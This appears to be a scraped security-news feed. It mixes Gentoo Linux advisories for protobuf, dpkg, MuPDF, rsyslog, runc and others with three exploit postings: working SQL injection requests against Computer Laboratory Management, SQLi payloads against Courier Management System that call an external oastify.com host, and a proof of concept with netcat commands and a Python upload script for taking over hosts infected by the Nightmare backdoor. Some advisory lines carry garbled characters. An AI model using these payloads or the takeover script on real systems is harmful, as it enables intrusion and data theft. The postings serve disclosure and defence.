Gentoo Linux Security Advisory 202408-31 - A vulnerability has been discovered in protobuf and protobuf-python, which can lead to a denial of service. Versions greater than or equal to 3.20.3 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-31  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: protobuf, protobuf-python: Denial of Service  
     Date: August 12, 2024  
     Bugs: #872434  
       ID: 202408-31

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in protobuf and protobuf-python,  
which can lead to a denial of service.

Background  
=========  
Google's Protocol Buffers are an extensible mechanism for serializing  
structured data.

Affected packages  
================  
Package                     Vulnerable    Unaffected  
--------------------------  ------------  ------------  
dev-libs/protobuf           < 3.20.3      >= 3.20.3  
dev-python/protobuf-python  < 3.19.6      >= 3.19.6

Description  
==========  
A vulnerability has been discovered in protobuf and protobuf-python.  
Please review the CVE identifiers referenced below for details.

Impact  
=====  
A parsing vulnerability for the MessageSet type can lead to out of  
memory failures. A specially crafted message with multiple key-value per  
elements creates parsing issues, and can lead to a Denial of Service  
against services receiving unsanitized input.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All protobuf and protobuf-python users should upgrade to the latest  
version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">Þv-libs/protobuf-3.20.3"  
  # emerge --ask --oneshot --verbose ">Þv-python/protobuf-python-3.19.6"

References  
=========  
[ 1 ] CVE-2022-1941  
      https://nvd.nist.gov/vuln/detail/CVE-2022-1941

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-31

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-31

Gentoo Linux Security Advisory 202408-30 - A vulnerability has been discovered in dpkg, which allows for directory traversal. Versions greater than or equal to 1.20.9-r1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-30  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: dpkg: Directory Traversal  
     Date: August 12, 2024  
     Bugs: #847976  
       ID: 202408-30

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in dpkg, which allows for directory  
traversal.

Background  
=========  
Debian package management system.

Affected packages  
================  
Package        Vulnerable    Unaffected  
-------------  ------------  ------------  
app-arch/dpkg  < 1.20.9-r1   >= 1.20.9-r1

Description  
==========  
Please review the CVE indentifier referenced below for details.

Impact  
=====  
Dpkg::Source::Archive in dpkg, the Debian package management system, is  
prone to a directory traversal vulnerability. When extracting untrusted  
source packages in v2 and v3 source package formats that include a  
debian.tar, the in-place extraction can lead to directory traversal  
situations on specially crafted orig.tar and debian.tar tarballs.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All dpkg users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-arch/dpkg-1.20.9-r1"

References  
=========  
[ 1 ] CVE-2022-1664  
      https://nvd.nist.gov/vuln/detail/CVE-2022-1664

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-30

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-30

Gentoo Linux Security Advisory 202408-29 - Multiple vulnerabilities have been discovered in MuPDF, the worst of which could lead to arbitrary code execution. Versions greater than or equal to 1.20.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-29  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: MuPDF: Multiple Vulnerabilities  
     Date: August 12, 2024  
     Bugs: #803305  
       ID: 202408-29

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been discovered in MuPDF, the worst of  
which could lead to arbitrary code execution.

Background  
=========  
A lightweight PDF, XPS, and E-book viewer.

Affected packages  
================  
Package         Vulnerable    Unaffected  
--------------  ------------  ------------  
app-text/mupdf  < 1.20.0      >= 1.20.0

Description  
==========  
Multiple vulnerabilities have been discovered in MuPDF. Please review  
the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All MuPDF users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-text/mupdf-1.20.0"

References  
=========  
[ 1 ] CVE-2021-4216  
      https://nvd.nist.gov/vuln/detail/CVE-2021-4216  
[ 2 ] CVE-2021-37220  
      https://nvd.nist.gov/vuln/detail/CVE-2021-37220

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-29

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-29

Gentoo Linux Security Advisory 202408-28 - A vulnerability has been discovered in rsyslog, which could possibly lead to remote code execution. Versions greater than or equal to 8.2206.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-28  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: rsyslog: Heap Buffer Overflow  
     Date: August 11, 2024  
     Bugs: #842846  
       ID: 202408-28

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
A vulnerability has been discovered in rsyslog, which could possibly  
lead to remote code execution.

Background  
=========  
rsyslog is an enhanced multi-threaded syslogd with database support and  
more.

Affected packages  
================  
Package            Vulnerable    Unaffected  
-----------------  ------------  ------------  
app-admin/rsyslog  < 8.2206.0    >= 8.2206.0

Description  
==========  
Multiple vulnerabilities have been discovered in rsyslog. Please review  
the CVE identifiers referenced below for details.

Impact  
=====  
Modules for TCP syslog reception have a heap buffer overflow when octet-  
counted framing is used. The attacker can corrupt heap values, leading  
to data integrity issues and availability impact. Remote code execution  
is unlikely to happen but not impossible.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All rsyslog users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-admin/rsyslog-8.2206.0"

References  
=========  
[ 1 ] CVE-2022-24903  
      https://nvd.nist.gov/vuln/detail/CVE-2022-24903

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-28

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-28

Gentoo Linux Security Advisory 202408-27 - A vulnerability has been discovered in AFLplusplus, which can lead to arbitrary code execution via an untrusted CWD. Versions greater than or equal to 4.06c are affected.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Gentoo Linux Security Advisory                           GLSA 202408-27- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                                           https://security.gentoo.org/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal    Title: AFLplusplus: Arbitrary Code Execution     Date: August 11, 2024     Bugs: #897924       ID: 202408-27- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Synopsis=======A vulnerability has been discovered in AFLplusplus, which can lead toarbitrary code execution via an untrusted CWD.Background=========The fuzzer afl++ is afl with community patches, qemu 5.1 upgrade,collision-free coverage, enhanced laf-intel & redqueen, AFLfast++ powerschedules, MOpt mutators, unicorn_mode, and a lot more!Affected packages================Package                    Vulnerable    Unaffected-------------------------  ------------  ------------app-forensics/aflplusplus  < 4.06c       >= 4.06cDescription==========In AFL++ 4.05c, the CmpLog component uses the current working directoryto resolve and execute unprefixed fuzzing targets, allowing codeexecution.Impact=====In AFL++ 4.05c, the CmpLog component uses the current working directoryto resolve and execute unprefixed fuzzing targets, allowing codeexecution.Workaround=========There is no known workaround at this time.Resolution=========All AFLplusplus users should upgrade to the latest version:  # emerge --sync  # emerge --ask --oneshot --verbose ">=app-forensics/aflplusplus-4.06c"References=========[ 1 ] CVE-2023-26266      https://nvd.nist.gov/vuln/detail/CVE-2023-26266Availability===========This GLSA and any updates to it are available for viewing atthe Gentoo Security Website: https://security.gentoo.org/glsa/202408-27Concerns?========Security is a primary focus of Gentoo Linux and ensuring theconfidentiality and security of our users' machines is of utmostimportance to us. Any security concerns should be addressed tosecurity@gentoo.org or alternatively, you may file a bug athttps://bugs.gentoo.org.License======Copyright 2024 Gentoo Foundation, Inc; referenced textbelongs to its owner(s).The contents of this document are licensed under theCreative Commons - Attribution / Share Alike license.https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-27

Computer Laboratory Management version 1.0 suffers from a remote authenticated SQL injection vulnerability.

    # Exploit Title: Computer Laboratory Management - SQL Injection (Authenticated)# Date: 11/08/2024# Exploit Author: Mert Kuvvet# Vendor Homepage:https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html# Software Link:https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lms.zip# Version: 1.0# Tested on: Windows 11 / XAMPP############## Authenticated SQL Injection ##############GET /php-lms/admin/?page=user/manage_user&id=7%27%20OR%20SLEEP(10)--%20-HTTP/1.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Connection: keep-aliveCookie: PHPSESSID=9daen5894p8jjjehipoq0pi7s6Host: localhostSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Computer Laboratory Management 1.0 SQL Injection

Gentoo Linux Security Advisory 202408-26 - Multiple vulnerabilities have been discovered in matio, the worst of which could lead to arbitrary code execution. Versions greater than or equal to 1.5.22 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-26  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: matio: Multiple Vulnerabilities  
     Date: August 11, 2024  
     Bugs: #803131  
       ID: 202408-26

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in matio, the worst of  
which could lead to arbitrary code execution.

Background  
==========

matio is a library for reading and writing matlab files.

Affected packages  
=================

Package         Vulnerable    Unaffected  
--------------  ------------  ------------  
sci-libs/matio  < 1.5.22      >= 1.5.22

Description  
===========

Multiple vulnerabilities have been discovered in matio. Please review  
the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All matio users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=sci-libs/matio-1.5.22"

References  
==========

[ 1 ] CVE-2020-36428  
      https://nvd.nist.gov/vuln/detail/CVE-2020-36428  
[ 2 ] CVE-2021-36977  
      https://nvd.nist.gov/vuln/detail/CVE-2021-36977

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-26

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-26

Courier Management System version 2020-1.0 suffers from multiple remote SQL injection vulnerabilities.

    ## Titles: courier-management-system-2020-1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 08/12/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14611/courier-management-system-using-phpmysqli-source-code.html#comment-105424## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks. Thepayload '+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+' was submittedin the email parameter. This payload injects a SQL sub-query that callsMySQL's load_file function with a UNC file path that references a URL on anexternal domain. The application interacted with that domain, indicatingthat the injected SQL query was executed. The attacker can get allinformation from the system by using this vulnerability!STATUS: HIGH- Vulnerability[+]Exploits:- SQLi Multiple:```mysql---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: email=xtyqLAHz@burpcollaborator.net'+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' OR NOT3092=3092 OR 'zgfp'='bQHN&password=d6I!n9y!D7    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: email=xtyqLAHz@burpcollaborator.net'+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' AND (SELECT8802 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT(ELT(8802=8802,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'dmho'='XBTr&password=d6I!n9y!D7---```## Reproduce:[href](https://www.patreon.com/posts/courier-system-1-109943338)## More:[href](https://www.nu11secur1ty.com/2024/08/courier-management-system-2020-10.html)## Time spent:01:00:00

Courier Management System 2020-1.0 SQL Injection

Gentoo Linux Security Advisory 202408-25 - Multiple vulnerabilities have been discovered in runc, the worst of which could lead to privilege escalation. Versions greater than or equal to 1.1.12 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202408-25  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: runc: Multiple Vulnerabilities  
     Date: August 11, 2024  
     Bugs: #828471, #844085, #903079, #923434  
       ID: 202408-25

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in runc, the worst of  
which could lead to privilege escalation.

Background  
==========

runc is a CLI tool for spawning and running containers on Linux  
according to the OCI specification.

Affected packages  
=================

Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
app-containers/runc  < 1.1.12      >= 1.1.12

Description  
===========

Multiple vulnerabilities have been discovered in runc. Please review the  
CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All runc users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=app-containers/runc-1.1.12"

References  
==========

[ 1 ] CVE-2021-43784  
      https://nvd.nist.gov/vuln/detail/CVE-2021-43784  
[ 2 ] CVE-2022-29162  
      https://nvd.nist.gov/vuln/detail/CVE-2022-29162  
[ 3 ] CVE-2023-25809  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25809  
[ 4 ] CVE-2023-27561  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27561  
[ 5 ] CVE-2023-28642  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28642  
[ 6 ] CVE-2024-21626  
      https://nvd.nist.gov/vuln/detail/CVE-2024-21626

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202408-25

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202408-25

Backdoor.Win32.Nightmare.25 malware suffers from a code execution vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/0fe8f37543e8face08941899add38e35.txtContact: malvuln13@gmail.comMedia: x.com/malvuln  Threat: Backdoor.Win32.Nightmare.25Vulnerability: Unauthenticated Remote Command ExecutionFamily: NightmareType: PE32MD5: 0fe8f37543e8face08941899add38e35SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6Vuln ID: MVID-2024-0687Disclosure: 08/09/2024Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. "FTPON x". Furthermore, the FTP server allows for any username/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity.Commands available:RUN (run programs)FTPON x  (starts FTP)SHOWCHAT xLOGOFF x  (logs out current user)KILLAPPLISTAPPKILL x (shuts down the backdoor)Exploit/PoC:nc64.exe 192.168.18.125 666RUN MSPAINT.EXEProgram executedFTPON xFTP Port openFTPOFF xFTP Port closeSHOWCHAT xChat is visible  (will launch a chat terminal on the slave)HIDECHAT xChat is invisibleLISTAPP x*File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe - PID: 4284*Process Hacker [DESKTOP-2C4IQJO\VICTIM]+ (Administrator)*dump*Administrator: Administrator Command Prompt*Program Manager KILL x Server not anymore activeLOGOFF xnc64.exe 192.168.18.125 21220 P23h FTP Server ready.USER x331 Password required for x.PASS x230 User x logged in.SYST215 UNIX Type: L8 Internet Component SuiteCDUP \250 CWD command successful. "C:/" is current directory.MKD TEMP257 'C:\TEMP': directory created.PASV227 Entering Passive Mode (192,168,18,125,226,100).STOR DOOM_SM.exe150 Opening data connection for DOOM_SM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=57956  #Calculated port for file transfers 226 * 256 + 100 = 57956DOOM="DOOM_SM.exe"def doit():    s=socket(AF_INET, SOCK_STREAM)    s.connect((MALWARE_HOST, PORT))    f = open(DOOM, "rb")    EXE = f.read()    s.send(EXE)    while EXE:        s.send(EXE)        EXE=f.read()    s.close()    print("By Malvuln");if __name__=="__main__":    doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Tag

#vulnerability